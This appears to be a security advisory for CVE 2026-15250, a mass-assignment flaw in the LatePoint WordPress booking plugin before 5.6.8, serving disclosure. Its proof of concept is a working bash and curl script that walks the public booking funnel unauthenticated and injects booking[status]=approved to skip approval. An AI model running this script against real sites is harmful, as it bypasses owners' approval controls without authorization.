LatePoint < 5.6.8 – Unauthenticated Booking Object Mass Assignment via Public Booking Funnel | CVE 2026-15250

Description

The plugin does not restrict which booking fields an unauthenticated visitor can set through its public booking funnel, allowing an unauthenticated user to assign a privileged booking field such as the approval status and thereby bypass the site's booking approval workflow.

Proof of Concept

Prerequisites (normal operational LatePoint config): at least one active service, one agent, and work periods (any bookable install has these). default_booking_status = pending (approval-required workflow), so an injected status=approved is a meaningful bypass. Works under the default email auth type; no guest-booking toggle required.

Steps (all requests are unauthenticated; no cookie, session, or nonce):

BASE="https://victim.example"; JAR=$(mktemp)
INJ="booking[status]=approved&booking[agent_id]=1&booking[service_id]=1&booking[location_id]=1&booking[start_date]=2027-04-15&booking[start_time]=600&booking[end_time]=660&booking[duration]=60"
hop(){ curl -s -c "$JAR" -b "$JAR" "$BASE/wp-admin/admin-ajax.php" -X POST \
  --data-urlencode "action=latepoint_route_call" --data-urlencode "route_name=$2" \
  --data-urlencode "return_format=json" --data-urlencode "params=$3" -o /tmp/$1; }
hop r1 steps__start     "$INJ"
hop r2 steps__load_step "current_step_code=booking__services&step_direction=next&$INJ"
hop r3 steps__load_step "current_step_code=booking__agents&step_direction=next&$INJ"
hop r4 steps__load_step "current_step_code=booking__datepicker&step_direction=next&$INJ"
hop r5 steps__load_step "current_step_code=customer&step_direction=next&customer[first_name]=A&customer[last_name]=B&customer[email]=atk@example.test&customer[phone]=5550009999&$INJ"
UUID=$(grep -oE '"customer\[uuid\]":"[a-f0-9-]{36}"' /tmp/r5 | grep -oE '[a-f0-9-]{36}' | head -1)
hop r6 steps__load_step "current_step_code=verify&step_direction=next&customer[first_name]=A&customer[last_name]=B&customer[email]=atk@example.test&customer[phone]=5550009999&customer[uuid]=$UUID&$INJ"

Result: a new row is created in the bookings table with status=approved, bypassing the pending approval default. Only the status field crosses a real security boundary; service/agent/date/time are the funnel's by-design visitor inputs and are still availability-validated at save.